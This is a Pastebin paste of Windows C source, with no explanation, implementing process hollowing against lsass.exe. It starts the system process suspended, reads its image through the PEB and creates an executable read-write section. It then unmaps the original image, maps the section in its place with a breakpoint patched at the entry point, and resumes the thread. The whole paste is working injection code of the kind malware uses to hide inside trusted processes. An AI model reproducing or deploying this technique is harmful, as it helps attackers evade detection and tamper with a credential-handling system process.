Guest User

Untitled

a guest
Nov 9th, 2011
584
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.10 KB | None | 0 0
  1. #include "main.h"
  2.  
  3. int get_entrypoint(char *read_proc)
  4. {
  5. IMAGE_DOS_HEADER *idh = NULL;
  6. IMAGE_NT_HEADERS *inh = NULL;
  7.  
  8. idh = (IMAGE_DOS_HEADER*)read_proc;
  9. inh = (IMAGE_NT_HEADERS *)((BYTE*)read_proc + idh->e_lfanew);
  10. printf("Entrypoint = %x\n", inh->OptionalHeader.AddressOfEntryPoint);
  11. return (inh->OptionalHeader.AddressOfEntryPoint);
  12. }
  13.  
  14. int main(void)
  15. {
  16. STARTUPINFO si;
  17. PROCESS_INFORMATION pi;
  18. char path_lsass[260];
  19. PROCESS_BASIC_INFORMATION pbi;
  20. DWORD nb_read;
  21. DWORD ImageBase;
  22. HANDLE hsect;
  23. NTSTATUS stat;
  24. PVOID BaseAddress = NULL;
  25. PVOID BaseAddress2 = NULL;
  26. DWORD oep;
  27. PVOID OldValue = NULL;
  28. if( Wow64DisableWow64FsRedirection(&OldValue) )
  29. {
  30. memset(&si, 0, sizeof(STARTUPINFO));
  31. si.cb = sizeof(STARTUPINFO);
  32. memset(&pi, 0, sizeof(PROCESS_INFORMATION));
  33. memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
  34. ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\lsass.exe", (LPWSTR)path_lsass, 260);
  35. wprintf(L"[+] New Path for lsasse.exe = %s\n", path_lsass);
  36. if (!CreateProcess((LPWSTR)path_lsass, NULL, NULL, NULL, NULL,
  37. CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW,
  38. NULL, NULL, &si, &pi))
  39. {
  40. printf("[-] CreateProcessW failed\n");
  41. printf("LatError = %x\n", GetLastError());
  42. return (-1);
  43. }
  44.  
  45. ZwQueryInformationProcess = (long (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwQueryInformationProcess");
  46. ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection");
  47. ZwUnmapViewOfSection = (long (__stdcall *)(HANDLE, PVOID))GetProcAddress(GetModuleHandleA("ntdll"),"ZwUnmapViewOfSection");
  48. ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection");
  49.  
  50. if (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUnmapViewOfSection == NULL || ZwCreateSection == NULL)
  51. {
  52. printf("[-] GetProcAddress failed\n");
  53. return (-1);
  54. }
  55.  
  56. if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
  57. {
  58. printf("[-] ZwQueryInformation failed\n");
  59. return (-1);
  60. }
  61.  
  62. printf("[+] UniqueProcessID = 0x%x\n", pbi.UniqueProcessId);
  63.  
  64. if (!ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4)
  65. {
  66. printf("[-] ReadProcessMemory failed\n");
  67. return (-1);
  68. }
  69.  
  70. printf("[+] ImageBase = 0x%x\n", ImageBase);
  71.  
  72. char read_proc[0x6000];
  73.  
  74. if (!ReadProcessMemory(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x6000, &nb_read) && nb_read != 0x6000)
  75. {
  76. printf("[-] ReadProcessMemory failed\n");
  77. return (-1);
  78. }
  79.  
  80. printf("(dbg) Two first bytes : %c%c\n", read_proc[0], read_proc[1]);
  81. oep = get_entrypoint(read_proc);
  82.  
  83. LARGE_INTEGER a;
  84. a.HighPart = 0;
  85. a.LowPart = 0x8EF6;
  86.  
  87. if ((stat = ZwCreateSection(&hsect, SECTION_ALL_ACCESS, NULL, &a, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
  88. {
  89. printf("[-] ZwCreateSection failed\n");
  90. printf("[-] NTSTATUS = %x\n", stat);
  91. return (-1);
  92. }
  93. SIZE_T size;
  94. size = 0x8000;
  95.  
  96. BaseAddress = (PVOID)0;
  97. if ((stat = ZwMapViewOfSection(hsect, GetCurrentProcess(), &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
  98. {
  99. printf("[-] ZwMapViewOfSection failed\n");
  100. printf("[-] NTSTATUS = %x\n", stat);
  101. return (-1);
  102. }
  103. memset((BYTE*)read_proc + oep, 0xCC, 1);
  104. memcpy(BaseAddress, read_proc, 0x2000);
  105. BaseAddress = (PVOID)ImageBase;
  106. printf("BaseAddress = %x\n", BaseAddress);
  107.  
  108. ZwUnmapViewOfSection(pi.hProcess, BaseAddress);
  109.  
  110. if ((stat = ZwMapViewOfSection(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
  111. {
  112. printf("[-] ZwMapViewOfSection failed\n");
  113. printf("[-] NTSTATUS = %x\n", stat);
  114. system("pause");
  115. return (-1);
  116. }
  117. printf("BaseAddress = %x\n", BaseAddress);
  118. ResumeThread(pi.hThread);
  119. system("pause");
  120.  
  121. return (0);
  122. }
  123. }
  124.  
  125.  
Advertisement
Add Comment
Please, Sign In to add comment